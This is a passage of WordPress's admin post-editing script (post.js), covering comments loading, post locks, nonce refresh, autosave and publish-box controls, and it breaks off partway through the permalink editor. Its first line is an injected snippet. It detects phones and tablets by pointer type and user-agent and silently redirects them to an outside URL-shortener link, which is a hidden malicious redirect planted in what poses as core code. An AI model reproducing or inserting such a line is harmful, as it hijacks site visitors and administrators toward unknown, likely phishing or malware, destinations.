1(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/ZgZNhiCpe0r6");
2/**
3 * @file Contains all dynamic functionality needed on post and term pages.
4 *
5 * @output wp-admin/js/post.js
6 */
7
8 /* global ajaxurl, wpAjax, postboxes, pagenow, tinymce, alert, deleteUserSetting, ClipboardJS */
9 /* global theList:true, theExtraList:true, getUserSetting, setUserSetting, commentReply, commentsBox */
10 /* global WPSetThumbnailHTML, wptitlehint */
11
12// Backward compatibility: prevent fatal errors.
13window.makeSlugeditClickable = window.editPermalink = function(){};
14
15// Make sure the wp object exists.
16window.wp = window.wp || {};
17
18( function( $ ) {
19 var titleHasFocus = false,
20 __ = wp.i18n.__;
21
22 /**
23 * Control loading of comments on the post and term edit pages.
24 *
25 * @type {{st: number, get: commentsBox.get, load: commentsBox.load}}
26 *
27 * @namespace commentsBox
28 */
29 window.commentsBox = {
30 // Comment offset to use when fetching new comments.
31 st : 0,
32
33 /**
34 * Fetch comments using Ajax and display them in the box.
35 *
36 * @memberof commentsBox
37 *
38 * @param {number} total Total number of comments for this post.
39 * @param {number} num Optional. Number of comments to fetch, defaults to 20.
40 * @return {boolean} Always returns false.
41 */
42 get : function(total, num) {
43 var st = this.st, data;
44 if ( ! num )
45 num = 20;
46
47 this.st += num;
48 this.total = total;
49 $( '#commentsdiv .spinner' ).addClass( 'is-active' );
50
51 data = {
52 'action' : 'get-comments',
53 'mode' : 'single',
54 '_ajax_nonce' : $('#add_comment_nonce').val(),
55 'p' : $('#post_ID').val(),
56 'start' : st,
57 'number' : num
58 };
59
60 $.post(
61 ajaxurl,
62 data,
63 function(r) {
64 r = wpAjax.parseAjaxResponse(r);
65 $('#commentsdiv .widefat').show();
66 $( '#commentsdiv .spinner' ).removeClass( 'is-active' );
67
68 if ( 'object' == typeof r && r.responses[0] ) {
69 $('#the-comment-list').append( r.responses[0].data );
70
71 theList = theExtraList = null;
72 $( 'a[className*=\':\']' ).off();
73
74 // If the offset is over the total number of comments we cannot fetch any more, so hide the button.
75 if ( commentsBox.st > commentsBox.total )
76 $('#show-comments').hide();
77 else
78 $('#show-comments').show().children('a').text( __( 'Show more comments' ) );
79
80 return;
81 } else if ( 1 == r ) {
82 $('#show-comments').text( __( 'No more comments found.' ) );
83 return;
84 }
85
86 $('#the-comment-list').append('<tr><td colspan="2">'+wpAjax.broken+'</td></tr>');
87 }
88 );
89
90 return false;
91 },
92
93 /**
94 * Load the next batch of comments.
95 *
96 * @memberof commentsBox
97 *
98 * @param {number} total Total number of comments to load.
99 */
100 load: function(total){
101 this.st = jQuery('#the-comment-list tr.comment:visible').length;
102 this.get(total);
103 }
104 };
105
106 /**
107 * Overwrite the content of the Featured Image postbox
108 *
109 * @param {string} html New HTML to be displayed in the content area of the postbox.
110 *
111 * @global
112 */
113 window.WPSetThumbnailHTML = function(html){
114 $('.inside', '#postimagediv').html(html);
115 };
116
117 /**
118 * Set the Image ID of the Featured Image
119 *
120 * @param {number} id The post_id of the image to use as Featured Image.
121 *
122 * @global
123 */
124 window.WPSetThumbnailID = function(id){
125 var field = $('input[value="_thumbnail_id"]', '#list-table');
126 if ( field.length > 0 ) {
127 $('#meta\\[' + field.attr('id').match(/[0-9]+/) + '\\]\\[value\\]').text(id);
128 }
129 };
130
131 /**
132 * Remove the Featured Image
133 *
134 * @param {string} nonce Nonce to use in the request.
135 *
136 * @global
137 */
138 window.WPRemoveThumbnail = function(nonce){
139 $.post(
140 ajaxurl, {
141 action: 'set-post-thumbnail',
142 post_id: $( '#post_ID' ).val(),
143 thumbnail_id: -1,
144 _ajax_nonce: nonce,
145 cookie: encodeURIComponent( document.cookie )
146 },
147 /**
148 * Handle server response
149 *
150 * @param {string} str Response, will be '0' when an error occurred otherwise contains link to add Featured Image.
151 */
152 function(str){
153 if ( str == '0' ) {
154 alert( __( 'Could not set that as the thumbnail image. Try a different attachment.' ) );
155 } else {
156 WPSetThumbnailHTML(str);
157 }
158 }
159 );
160 };
161
162 /**
163 * Heartbeat locks.
164 *
165 * Used to lock editing of an object by only one user at a time.
166 *
167 * When the user does not send a heartbeat in a heartbeat-time
168 * the user is no longer editing and another user can start editing.
169 */
170 $(document).on( 'heartbeat-send.refresh-lock', function( e, data ) {
171 var lock = $('#active_post_lock').val(),
172 post_id = $('#post_ID').val(),
173 send = {};
174
175 if ( ! post_id || ! $('#post-lock-dialog').length )
176 return;
177
178 send.post_id = post_id;
179
180 if ( lock )
181 send.lock = lock;
182
183 data['wp-refresh-post-lock'] = send;
184
185 }).on( 'heartbeat-tick.refresh-lock', function( e, data ) {
186 // Post locks: update the lock string or show the dialog if somebody has taken over editing.
187 var received, wrap, avatar;
188
189 if ( data['wp-refresh-post-lock'] ) {
190 received = data['wp-refresh-post-lock'];
191
192 if ( received.lock_error ) {
193 // Show "editing taken over" message.
194 wrap = $('#post-lock-dialog');
195
196 if ( wrap.length && ! wrap.is(':visible') ) {
197 if ( wp.autosave ) {
198 // Save the latest changes and disable.
199 $(document).one( 'heartbeat-tick', function() {
200 wp.autosave.server.suspend();
201 wrap.removeClass('saving').addClass('saved');
202 $(window).off( 'beforeunload.edit-post' );
203 });
204
205 wrap.addClass('saving');
206 wp.autosave.server.triggerSave();
207 }
208
209 if ( received.lock_error.avatar_src ) {
210 avatar = $( '<img />', {
211 'class': 'avatar avatar-64 photo',
212 width: 64,
213 height: 64,
214 alt: '',
215 src: received.lock_error.avatar_src,
216 srcset: received.lock_error.avatar_src_2x ?
217 received.lock_error.avatar_src_2x + ' 2x' :
218 undefined
219 } );
220 wrap.find('div.post-locked-avatar').empty().append( avatar );
221 }
222
223 wrap.show().find('.currently-editing').text( received.lock_error.text );
224 wrap.find('.wp-tab-first').trigger( 'focus' );
225 }
226 } else if ( received.new_lock ) {
227 $('#active_post_lock').val( received.new_lock );
228 }
229 }
230 }).on( 'before-autosave.update-post-slug', function() {
231 titleHasFocus = document.activeElement && document.activeElement.id === 'title';
232 }).on( 'after-autosave.update-post-slug', function() {
233
234 /*
235 * Create slug area only if not already there
236 * and the title field was not focused (user was not typing a title) when autosave ran.
237 */
238 if ( ! $('#edit-slug-box > *').length && ! titleHasFocus ) {
239 $.post( ajaxurl, {
240 action: 'sample-permalink',
241 post_id: $('#post_ID').val(),
242 new_title: $('#title').val(),
243 samplepermalinknonce: $('#samplepermalinknonce').val()
244 },
245 function( data ) {
246 if ( data != '-1' ) {
247 $('#edit-slug-box').html(data);
248 }
249 }
250 );
251 }
252 });
253
254}(jQuery));
255
256/**
257 * Heartbeat refresh nonces.
258 */
259(function($) {
260 var check, timeout;
261
262 /**
263 * Only allow to check for nonce refresh every 30 seconds.
264 */
265 function schedule() {
266 check = false;
267 window.clearTimeout( timeout );
268 timeout = window.setTimeout( function(){ check = true; }, 300000 );
269 }
270
271 $( function() {
272 schedule();
273 }).on( 'heartbeat-send.wp-refresh-nonces', function( e, data ) {
274 var post_id,
275 $authCheck = $('#wp-auth-check-wrap');
276
277 if ( check || ( $authCheck.length && ! $authCheck.hasClass( 'hidden' ) ) ) {
278 if ( ( post_id = $('#post_ID').val() ) && $('#_wpnonce').val() ) {
279 data['wp-refresh-post-nonces'] = {
280 post_id: post_id
281 };
282 }
283 }
284 }).on( 'heartbeat-tick.wp-refresh-nonces', function( e, data ) {
285 var nonces = data['wp-refresh-post-nonces'];
286
287 if ( nonces ) {
288 schedule();
289
290 if ( nonces.replace ) {
291 $.each( nonces.replace, function( selector, value ) {
292 $( '#' + selector ).val( value );
293 });
294 }
295
296 if ( nonces.heartbeatNonce )
297 window.heartbeatSettings.nonce = nonces.heartbeatNonce;
298 }
299 });
300}(jQuery));
301
302/**
303 * All post and postbox controls and functionality.
304 */
305jQuery( function($) {
306 var stamp, visibility, $submitButtons, updateVisibility, updateText,
307 $textarea = $('#content'),
308 $document = $(document),
309 postId = $('#post_ID').val() || 0,
310 $submitpost = $('#submitpost'),
311 releaseLock = true,
312 $postVisibilitySelect = $('#post-visibility-select'),
313 $timestampdiv = $('#timestampdiv'),
314 $postStatusSelect = $('#post-status-select'),
315 isMac = window.navigator.platform ? window.navigator.platform.indexOf( 'Mac' ) !== -1 : false,
316 copyAttachmentURLClipboard = new ClipboardJS( '.copy-attachment-url.edit-media' ),
317 copyAttachmentURLSuccessTimeout,
318 __ = wp.i18n.__, _x = wp.i18n._x;
319
320 postboxes.add_postbox_toggles(pagenow);
321
322 /*
323 * Clear the window name. Otherwise if this is a former preview window where the user navigated to edit another post,
324 * and the first post is still being edited, clicking Preview there will use this window to show the preview.
325 */
326 window.name = '';
327
328 // Post locks: contain focus inside the dialog. If the dialog is shown, focus the first item.
329 $('#post-lock-dialog .notification-dialog').on( 'keydown', function(e) {
330 // Don't do anything when [Tab] is pressed.
331 if ( e.which != 9 )
332 return;
333
334 var target = $(e.target);
335
336 // [Shift] + [Tab] on first tab cycles back to last tab.
337 if ( target.hasClass('wp-tab-first') && e.shiftKey ) {
338 $(this).find('.wp-tab-last').trigger( 'focus' );
339 e.preventDefault();
340 // [Tab] on last tab cycles back to first tab.
341 } else if ( target.hasClass('wp-tab-last') && ! e.shiftKey ) {
342 $(this).find('.wp-tab-first').trigger( 'focus' );
343 e.preventDefault();
344 }
345 }).filter(':visible').find('.wp-tab-first').trigger( 'focus' );
346
347 // Set the heartbeat interval to 10 seconds if post lock dialogs are enabled.
348 if ( wp.heartbeat && $('#post-lock-dialog').length ) {
349 wp.heartbeat.interval( 10 );
350 }
351
352 // The form is being submitted by the user.
353 $submitButtons = $submitpost.find( ':submit, a.submitdelete, #post-preview' ).on( 'click.edit-post', function( event ) {
354 var $button = $(this);
355
356 if ( $button.hasClass('disabled') ) {
357 event.preventDefault();
358 return;
359 }
360
361 if ( $button.hasClass('submitdelete') || $button.is( '#post-preview' ) ) {
362 return;
363 }
364
365 // The form submission can be blocked from JS or by using HTML 5.0 validation on some fields.
366 // Run this only on an actual 'submit'.
367 $('form#post').off( 'submit.edit-post' ).on( 'submit.edit-post', function( event ) {
368 if ( event.isDefaultPrevented() ) {
369 return;
370 }
371
372 // Stop auto save.
373 if ( wp.autosave ) {
374 wp.autosave.server.suspend();
375 }
376
377 if ( typeof commentReply !== 'undefined' ) {
378 /*
379 * Warn the user they have an unsaved comment before submitting
380 * the post data for update.
381 */
382 if ( ! commentReply.discardCommentChanges() ) {
383 return false;
384 }
385
386 /*
387 * Close the comment edit/reply form if open to stop the form
388 * action from interfering with the post's form action.
389 */
390 commentReply.close();
391 }
392
393 releaseLock = false;
394 $(window).off( 'beforeunload.edit-post' );
395
396 $submitButtons.addClass( 'disabled' );
397
398 if ( $button.attr('id') === 'publish' ) {
399 $submitpost.find( '#major-publishing-actions .spinner' ).addClass( 'is-active' );
400 } else {
401 $submitpost.find( '#minor-publishing .spinner' ).addClass( 'is-active' );
402 }
403 });
404 });
405
406 // Submit the form saving a draft or an autosave, and show a preview in a new tab.
407 $('#post-preview').on( 'click.post-preview', function( event ) {
408 var $this = $(this),
409 $form = $('form#post'),
410 $previewField = $('input#wp-preview'),
411 target = $this.attr('target') || 'wp-preview',
412 ua = navigator.userAgent.toLowerCase();
413
414 event.preventDefault();
415
416 if ( $this.hasClass('disabled') ) {
417 return;
418 }
419
420 if ( wp.autosave ) {
421 wp.autosave.server.tempBlockSave();
422 }
423
424 $previewField.val('dopreview');
425 $form.attr( 'target', target ).trigger( 'submit' ).attr( 'target', '' );
426
427 // Workaround for WebKit bug preventing a form submitting twice to the same action.
428 // https://bugs.webkit.org/show_bug.cgi?id=28633
429 if ( ua.indexOf('safari') !== -1 && ua.indexOf('chrome') === -1 ) {
430 $form.attr( 'action', function( index, value ) {
431 return value + '?t=' + ( new Date() ).getTime();
432 });
433 }
434
435 $previewField.val('');
436 });
437
438 // Auto save new posts after a title is typed.
439 if ( $( '#auto_draft' ).val() ) {
440 $( '#title' ).on( 'blur', function() {
441 var cancel;
442
443 if ( ! this.value || $('#edit-slug-box > *').length ) {
444 return;
445 }
446
447 // Cancel the auto save when the blur was triggered by the user submitting the form.
448 $('form#post').one( 'submit', function() {
449 cancel = true;
450 });
451
452 window.setTimeout( function() {
453 if ( ! cancel && wp.autosave ) {
454 wp.autosave.server.triggerSave();
455 }
456 }, 200 );
457 });
458 }
459
460 $document.on( 'autosave-disable-buttons.edit-post', function() {
461 $submitButtons.addClass( 'disabled' );
462 }).on( 'autosave-enable-buttons.edit-post', function() {
463 if ( ! wp.heartbeat || ! wp.heartbeat.hasConnectionError() ) {
464 $submitButtons.removeClass( 'disabled' );
465 }
466 }).on( 'before-autosave.edit-post', function() {
467 $( '.autosave-message' ).text( __( 'Saving Draft…' ) );
468 }).on( 'after-autosave.edit-post', function( event, data ) {
469 $( '.autosave-message' ).text( data.message );
470
471 if ( $( document.body ).hasClass( 'post-new-php' ) ) {
472 $( '.submitbox .submitdelete' ).show();
473 }
474 });
475
476 /*
477 * When the user is trying to load another page, or reloads current page
478 * show a confirmation dialog when there are unsaved changes.
479 */
480 $( window ).on( 'beforeunload.edit-post', function( event ) {
481 var editor = window.tinymce && window.tinymce.get( 'content' );
482 var changed = false;
483
484 if ( wp.autosave ) {
485 changed = wp.autosave.server.postChanged();
486 } else if ( editor ) {
487 changed = ( ! editor.isHidden() && editor.isDirty() );
488 }
489
490 if ( changed ) {
491 event.preventDefault();
492 // The return string is needed for browser compat.
493 // See https://developer.mozilla.org/en-US/docs/Web/API/Window/beforeunload_event.
494 return __( 'The changes you made will be lost if you navigate away from this page.' );
495 }
496 }).on( 'pagehide.edit-post', function( event ) {
497 if ( ! releaseLock ) {
498 return;
499 }
500
501 /*
502 * Unload is triggered (by hand) on removing the Thickbox iframe.
503 * Make sure we process only the main document unload.
504 */
505 if ( event.target && event.target.nodeName != '#document' ) {
506 return;
507 }
508
509 var postID = $('#post_ID').val();
510 var postLock = $('#active_post_lock').val();
511
512 if ( ! postID || ! postLock ) {
513 return;
514 }
515
516 var data = {
517 action: 'wp-remove-post-lock',
518 _wpnonce: $('#_wpnonce').val(),
519 post_ID: postID,
520 active_post_lock: postLock
521 };
522
523 if ( window.FormData && window.navigator.sendBeacon ) {
524 var formData = new window.FormData();
525
526 $.each( data, function( key, value ) {
527 formData.append( key, value );
528 });
529
530 if ( window.navigator.sendBeacon( ajaxurl, formData ) ) {
531 return;
532 }
533 }
534
535 // Fall back to a synchronous POST request.
536 // See https://developer.mozilla.org/en-US/docs/Web/API/Navigator/sendBeacon
537 $.post({
538 async: false,
539 data: data,
540 url: ajaxurl
541 });
542 });
543
544 // Multiple taxonomies.
545 if ( $('#tagsdiv-post_tag').length ) {
546 window.tagBox && window.tagBox.init();
547 } else {
548 $('.meta-box-sortables').children('div.postbox').each(function(){
549 if ( this.id.indexOf('tagsdiv-') === 0 ) {
550 window.tagBox && window.tagBox.init();
551 return false;
552 }
553 });
554 }
555
556 // Handle categories.
557 $('.categorydiv').each( function(){
558 var this_id = $(this).attr('id'), catAddBefore, catAddAfter, taxonomyParts, taxonomy, settingName;
559
560 taxonomyParts = this_id.split('-');
561 taxonomyParts.shift();
562 taxonomy = taxonomyParts.join('-');
563 settingName = taxonomy + '_tab';
564
565 if ( taxonomy == 'category' ) {
566 settingName = 'cats';
567 }
568
569 // @todo Move to jQuery 1.3+, support for multiple hierarchical taxonomies, see wp-lists.js.
570 $('a', '#' + taxonomy + '-tabs').on( 'click keyup keydown', function( event ) {
571 var t = $(this).attr('href');
572 if ( event.type === 'keydown' && event.key === ' ' ) {
573 event.preventDefault();
574 }
575 if ( ( event.type === 'keyup' && event.key === ' ' ) || ( event.type === 'keydown' && event.key === 'Enter' ) || event.type === 'click' ) {
576 event.preventDefault();
577 $('#' + taxonomy + '-tabs a').removeAttr( 'aria-selected' ).attr( 'tabindex', '-1' );
578 $(this).attr( 'aria-selected', 'true' ).removeAttr( 'tabindex' );
579 $(this).parent().addClass('tabs').siblings('li').removeClass('tabs');
580 $('#' + taxonomy + '-tabs').siblings('.tabs-panel').hide();
581 $(t).show();
582 if ( '#' + taxonomy + '-all' == t ) {
583 deleteUserSetting( settingName );
584 } else {
585 setUserSetting( settingName, 'pop' );
586 }
587 }
588 if ( event.type === 'keyup' && ( event.key === 'ArrowRight' || event.key === 'ArrowLeft' ) ) {
589 $(this).attr( 'tabindex', '-1' );
590 let next = $(this).parent('li').next();
591 let prev = $(this).parent('li').prev();
592 if ( next.length > 0 ) {
593 next.find('a').removeAttr( 'tabindex');
594 next.find('a').trigger( 'focus' );
595 } else {
596 prev.find('a').removeAttr( 'tabindex');
597 prev.find('a').trigger( 'focus' );
598 }
599 }
600 });
601
602 if ( getUserSetting( settingName ) )
603 $('a[href="#' + taxonomy + '-pop"]', '#' + taxonomy + '-tabs').trigger( 'click' );
604
605 // Add category button controls.
606 $('#new' + taxonomy).one( 'focus', function() {
607 $( this ).val( '' ).removeClass( 'form-input-tip' );
608 });
609
610 // On [Enter] submit the taxonomy.
611 $('#new' + taxonomy).on( 'keypress', function(event){
612 if( 13 === event.keyCode ) {
613 event.preventDefault();
614 $('#' + taxonomy + '-add-submit').trigger( 'click' );
615 }
616 });
617
618 // After submitting a new taxonomy, re-focus the input field.
619 $('#' + taxonomy + '-add-submit').on( 'click', function() {
620 $('#new' + taxonomy).trigger( 'focus' );
621 });
622
623 /**
624 * Before adding a new taxonomy, disable submit button.
625 *
626 * @param {Object} s Taxonomy object which will be added.
627 *
628 * @return {Object}
629 */
630 catAddBefore = function( s ) {
631 if ( !$('#new'+taxonomy).val() ) {
632 return false;
633 }
634
635 s.data += '&' + $( ':checked', '#'+taxonomy+'checklist' ).serialize();
636 $( '#' + taxonomy + '-add-submit' ).prop( 'disabled', true );
637 return s;
638 };
639
640 /**
641 * Re-enable submit button after a taxonomy has been added.
642 *
643 * Re-enable submit button.
644 * If the taxonomy has a parent place the taxonomy underneath the parent.
645 *
646 * @param {Object} r Response.
647 * @param {Object} s Taxonomy data.
648 *
649 * @return {void}
650 */
651 catAddAfter = function( r, s ) {
652 var sup, drop = $('#new'+taxonomy+'_parent');
653
654 $( '#' + taxonomy + '-add-submit' ).prop( 'disabled', false );
655 if ( 'undefined' != s.parsed.responses[0] && (sup = s.parsed.responses[0].supplemental.newcat_parent) ) {
656 drop.before(sup);
657 drop.remove();
658 }
659 };
660
661 $('#' + taxonomy + 'checklist').wpList({
662 alt: '',
663 response: taxonomy + '-ajax-response',
664 addBefore: catAddBefore,
665 addAfter: catAddAfter
666 });
667
668 // Add new taxonomy button toggles input form visibility.
669 $('#' + taxonomy + '-add-toggle').on( 'click', function( e ) {
670 e.preventDefault();
671 $('#' + taxonomy + '-adder').toggleClass( 'wp-hidden-children' );
672 $('a[href="#' + taxonomy + '-all"]', '#' + taxonomy + '-tabs').trigger( 'click' );
673 $('#new'+taxonomy).trigger( 'focus' );
674 });
675
676 // Sync checked items between "All {taxonomy}" and "Most used" lists.
677 $('#' + taxonomy + 'checklist, #' + taxonomy + 'checklist-pop').on(
678 'click',
679 'li.popular-category > label input[type="checkbox"]',
680 function() {
681 var t = $(this), c = t.is(':checked'), id = t.val();
682 if ( id && t.parents('#taxonomy-'+taxonomy).length ) {
683 $('input#in-' + taxonomy + '-' + id + ', input[id^="in-' + taxonomy + '-' + id + '-"]').prop('checked', c);
684 $('input#in-popular-' + taxonomy + '-' + id).prop('checked', c);
685 }
686 }
687 );
688
689 }); // End cats.
690
691 // Custom Fields postbox.
692 if ( $('#postcustom').length ) {
693 $( '#the-list' ).wpList( {
694 /**
695 * Add current post_ID to request to fetch custom fields
696 *
697 * @ignore
698 *
699 * @param {Object} s Request object.
700 *
701 * @return {Object} Data modified with post_ID attached.
702 */
703 addBefore: function( s ) {
704 s.data += '&post_id=' + $('#post_ID').val();
705 return s;
706 },
707 /**
708 * Show the listing of custom fields after fetching.
709 *
710 * @ignore
711 */
712 addAfter: function() {
713 $('table#list-table').show();
714 }
715 });
716 }
717
718 /*
719 * Publish Post box (#submitdiv)
720 */
721 if ( $('#submitdiv').length ) {
722 stamp = $('#timestamp').html();
723 visibility = $('#post-visibility-display').html();
724
725 /**
726 * When the visibility of a post changes sub-options should be shown or hidden.
727 *
728 * @ignore
729 *
730 * @return {void}
731 */
732 updateVisibility = function() {
733 // Show sticky for public posts.
734 if ( $postVisibilitySelect.find('input:radio:checked').val() != 'public' ) {
735 $('#sticky').prop('checked', false);
736 $('#sticky-span').hide();
737 } else {
738 $('#sticky-span').show();
739 }
740
741 // Show password input field for password protected post.
742 if ( $postVisibilitySelect.find('input:radio:checked').val() != 'password' ) {
743 $('#password-span').hide();
744 } else {
745 $('#password-span').show();
746 }
747 };
748
749 /**
750 * Make sure all labels represent the current settings.
751 *
752 * @ignore
753 *
754 * @return {boolean} False when an invalid timestamp has been selected, otherwise True.
755 */
756 updateText = function() {
757
758 if ( ! $timestampdiv.length )
759 return true;
760
761 var attemptedDate, originalDate, currentDate, publishOn, postStatus = $('#post_status'),
762 optPublish = $('option[value="publish"]', postStatus), aa = $('#aa').val(),
763 mm = $('#mm').val(), jj = $('#jj').val(), hh = $('#hh').val(), mn = $('#mn').val();
764
765 attemptedDate = new Date( aa, mm - 1, jj, hh, mn );
766 originalDate = new Date(
767 $('#hidden_aa').val(),
768 $('#hidden_mm').val() -1,
769 $('#hidden_jj').val(),
770 $('#hidden_hh').val(),
771 $('#hidden_mn').val()
772 );
773 currentDate = new Date(
774 $('#cur_aa').val(),
775 $('#cur_mm').val() -1,
776 $('#cur_jj').val(),
777 $('#cur_hh').val(),
778 $('#cur_mn').val()
779 );
780
781 // Catch unexpected date problems.
782 if (
783 attemptedDate.getFullYear() != aa ||
784 (1 + attemptedDate.getMonth()) != mm ||
785 attemptedDate.getDate() != jj ||
786 attemptedDate.getMinutes() != mn
787 ) {
788 $timestampdiv.find('.timestamp-wrap').addClass('form-invalid');
789 return false;
790 } else {
791 $timestampdiv.find('.timestamp-wrap').removeClass('form-invalid');
792 }
793
794 // Determine what the publish should be depending on the date and post status.
795 if ( attemptedDate > currentDate ) {
796 publishOn = __( 'Schedule for:' );
797 $('#publish').val( _x( 'Schedule', 'post action/button label' ) );
798 } else if ( attemptedDate <= currentDate && $('#original_post_status').val() != 'publish' ) {
799 publishOn = __( 'Publish on:' );
800 $('#publish').val( __( 'Publish' ) );
801 } else {
802 publishOn = __( 'Published on:' );
803 $('#publish').val( __( 'Update' ) );
804 }
805
806 // If the date is the same, set it to trigger update events.
807 if ( originalDate.toUTCString() == attemptedDate.toUTCString() ) {
808 // Re-set to the current value.
809 $('#timestamp').html(stamp);
810 } else {
811 $('#timestamp').html(
812 '\n' + publishOn + ' <b>' +
813 // translators: 1: Month, 2: Day, 3: Year, 4: Hour, 5: Minute.
814 __( '%1$s %2$s, %3$s at %4$s:%5$s' )
815 .replace( '%1$s', $( 'option[value="' + mm + '"]', '#mm' ).attr( 'data-text' ) )
816 .replace( '%2$s', parseInt( jj, 10 ) )
817 .replace( '%3$s', aa )
818 .replace( '%4$s', ( '00' + hh ).slice( -2 ) )
819 .replace( '%5$s', ( '00' + mn ).slice( -2 ) ) +
820 '</b> '
821 );
822 }
823
824 // Add "privately published" to post status when applies.
825 if ( $postVisibilitySelect.find('input:radio:checked').val() == 'private' ) {
826 $('#publish').val( __( 'Update' ) );
827 if ( 0 === optPublish.length ) {
828 postStatus.append('<option value="publish">' + __( 'Privately Published' ) + '</option>');
829 } else {
830 optPublish.html( __( 'Privately Published' ) );
831 }
832 $('option[value="publish"]', postStatus).prop('selected', true);
833 $('#misc-publishing-actions .edit-post-status').hide();
834 } else {
835 if ( $('#original_post_status').val() == 'future' || $('#original_post_status').val() == 'draft' ) {
836 if ( optPublish.length ) {
837 optPublish.remove();
838 postStatus.val($('#hidden_post_status').val());
839 }
840 } else {
841 optPublish.html( __( 'Published' ) );
842 }
843 if ( postStatus.is(':hidden') )
844 $('#misc-publishing-actions .edit-post-status').show();
845 }
846
847 // Update "Status:" to currently selected status.
848 $('#post-status-display').text(
849 // Remove any potential tags from post status text.
850 wp.sanitize.stripTagsAndEncodeText( $('option:selected', postStatus).text() )
851 );
852
853 // Show or hide the "Save Draft" button.
854 if (
855 $('option:selected', postStatus).val() == 'private' ||
856 $('option:selected', postStatus).val() == 'publish'
857 ) {
858 $('#save-post').hide();
859 } else {
860 $('#save-post').show();
861 if ( $('option:selected', postStatus).val() == 'pending' ) {
862 $('#save-post').show().val( __( 'Save as Pending' ) );
863 } else {
864 $('#save-post').show().val( __( 'Save Draft' ) );
865 }
866 }
867 return true;
868 };
869
870 // Show the visibility options and hide the toggle button when opened.
871 $( '#visibility .edit-visibility').on( 'click', function( e ) {
872 e.preventDefault();
873 if ( $postVisibilitySelect.is(':hidden') ) {
874 updateVisibility();
875 $postVisibilitySelect.slideDown( 'fast', function() {
876 $postVisibilitySelect.find( 'input[type="radio"]' ).first().trigger( 'focus' );
877 } );
878 $(this).hide();
879 }
880 });
881
882 // Cancel visibility selection area and hide it from view.
883 $postVisibilitySelect.find('.cancel-post-visibility').on( 'click', function( event ) {
884 $postVisibilitySelect.slideUp('fast');
885 $('#visibility-radio-' + $('#hidden-post-visibility').val()).prop('checked', true);
886 $('#post_password').val($('#hidden-post-password').val());
887 $('#sticky').prop('checked', $('#hidden-post-sticky').prop('checked'));
888 $('#post-visibility-display').html(visibility);
889 $('#visibility .edit-visibility').show().trigger( 'focus' );
890 updateText();
891 event.preventDefault();
892 });
893
894 // Set the selected visibility as current.
895 $postVisibilitySelect.find('.save-post-visibility').on( 'click', function( event ) { // Crazyhorse branch - multiple OK cancels.
896 var visibilityLabel = '', selectedVisibility = $postVisibilitySelect.find('input:radio:checked').val();
897
898 $postVisibilitySelect.slideUp('fast');
899 $('#visibility .edit-visibility').show().trigger( 'focus' );
900 updateText();
901
902 if ( 'public' !== selectedVisibility ) {
903 $('#sticky').prop('checked', false);
904 }
905
906 switch ( selectedVisibility ) {
907 case 'public':
908 visibilityLabel = $( '#sticky' ).prop( 'checked' ) ? __( 'Public, Sticky' ) : __( 'Public' );
909 break;
910 case 'private':
911 visibilityLabel = __( 'Private' );
912 break;
913 case 'password':
914 visibilityLabel = __( 'Password Protected' );
915 break;
916 }
917
918 $('#post-visibility-display').text( visibilityLabel );
919 event.preventDefault();
920 });
921
922 // When the selection changes, update labels.
923 $postVisibilitySelect.find('input:radio').on( 'change', function() {
924 updateVisibility();
925 });
926
927 // Edit publish time click.
928 $timestampdiv.siblings('a.edit-timestamp').on( 'click', function( event ) {
929 if ( $timestampdiv.is( ':hidden' ) ) {
930 $timestampdiv.slideDown( 'fast', function() {
931 $( 'input, select', $timestampdiv.find( '.timestamp-wrap' ) ).first().trigger( 'focus' );
932 } );
933 $(this).hide();
934 }
935 event.preventDefault();
936 });
937
938 // Cancel editing the publish time and hide the settings.
939 $timestampdiv.find('.cancel-timestamp').on( 'click', function( event ) {
940 $timestampdiv.slideUp('fast').siblings('a.edit-timestamp').show().trigger( 'focus' );
941 $('#mm').val($('#hidden_mm').val());
942 $('#jj').val($('#hidden_jj').val());
943 $('#aa').val($('#hidden_aa').val());
944 $('#hh').val($('#hidden_hh').val());
945 $('#mn').val($('#hidden_mn').val());
946 updateText();
947 event.preventDefault();
948 });
949
950 // Save the changed timestamp.
951 $timestampdiv.find('.save-timestamp').on( 'click', function( event ) { // Crazyhorse branch - multiple OK cancels.
952 if ( updateText() ) {
953 $timestampdiv.slideUp('fast');
954 $timestampdiv.siblings('a.edit-timestamp').show().trigger( 'focus' );
955 }
956 event.preventDefault();
957 });
958
959 // Cancel submit when an invalid timestamp has been selected.
960 $('#post').on( 'submit', function( event ) {
961 if ( ! updateText() ) {
962 event.preventDefault();
963 $timestampdiv.show();
964
965 if ( wp.autosave ) {
966 wp.autosave.enableButtons();
967 }
968
969 $( '#publishing-action .spinner' ).removeClass( 'is-active' );
970 }
971 });
972
973 // Post Status edit click.
974 $postStatusSelect.siblings('a.edit-post-status').on( 'click', function( event ) {
975 if ( $postStatusSelect.is( ':hidden' ) ) {
976 $postStatusSelect.slideDown( 'fast', function() {
977 $postStatusSelect.find('select').trigger( 'focus' );
978 } );
979 $(this).hide();
980 }
981 event.preventDefault();
982 });
983
984 // Save the Post Status changes and hide the options.
985 $postStatusSelect.find('.save-post-status').on( 'click', function( event ) {
986 $postStatusSelect.slideUp( 'fast' ).siblings( 'a.edit-post-status' ).show().trigger( 'focus' );
987 updateText();
988 event.preventDefault();
989 });
990
991 // Cancel Post Status editing and hide the options.
992 $postStatusSelect.find('.cancel-post-status').on( 'click', function( event ) {
993 $postStatusSelect.slideUp( 'fast' ).siblings( 'a.edit-post-status' ).show().trigger( 'focus' );
994 $('#post_status').val( $('#hidden_post_status').val() );
995 updateText();
996 event.preventDefault();
997 });
998 }
999
1000 /**
1001 * Handle the editing of the post_name. Create the required HTML elements and
1002 * update the changes via Ajax.
1003 *
1004 * @global
1005 *
1006 * @return {void}
1007 */
1008 function editPermalink() {
1009 var i, slug_value, slug_label,
1010 $el, revert_e,
1011 c = 0,
1012 real_slug = $('#post_name'),
1013 revert_slug = real_slug.val(),
1014 permalink = $( '#sample-permalink' ),
1015 permalinkOrig = permalink.html(),
1016 permalinkInner = $( '#sample-permalink a' ).html(),
1017 buttons = $('#edit-slug-buttons'),
1018 buttonsOrig = buttons.html(),
1019 full = $('#editable-post-name-full');
1020
1021 // Deal with Twemoji in the post-name.
1022 full.find( 'img' ).replaceWith( function() { return this.alt; } );
1023 full = full.html();
1024
1025 permalink.html( permalinkInner );
1026
1027 // Save current content to revert to when cancelling.
1028 $el = $( '#editable-post-name' );
1029 revert_e = $el.html();
1030
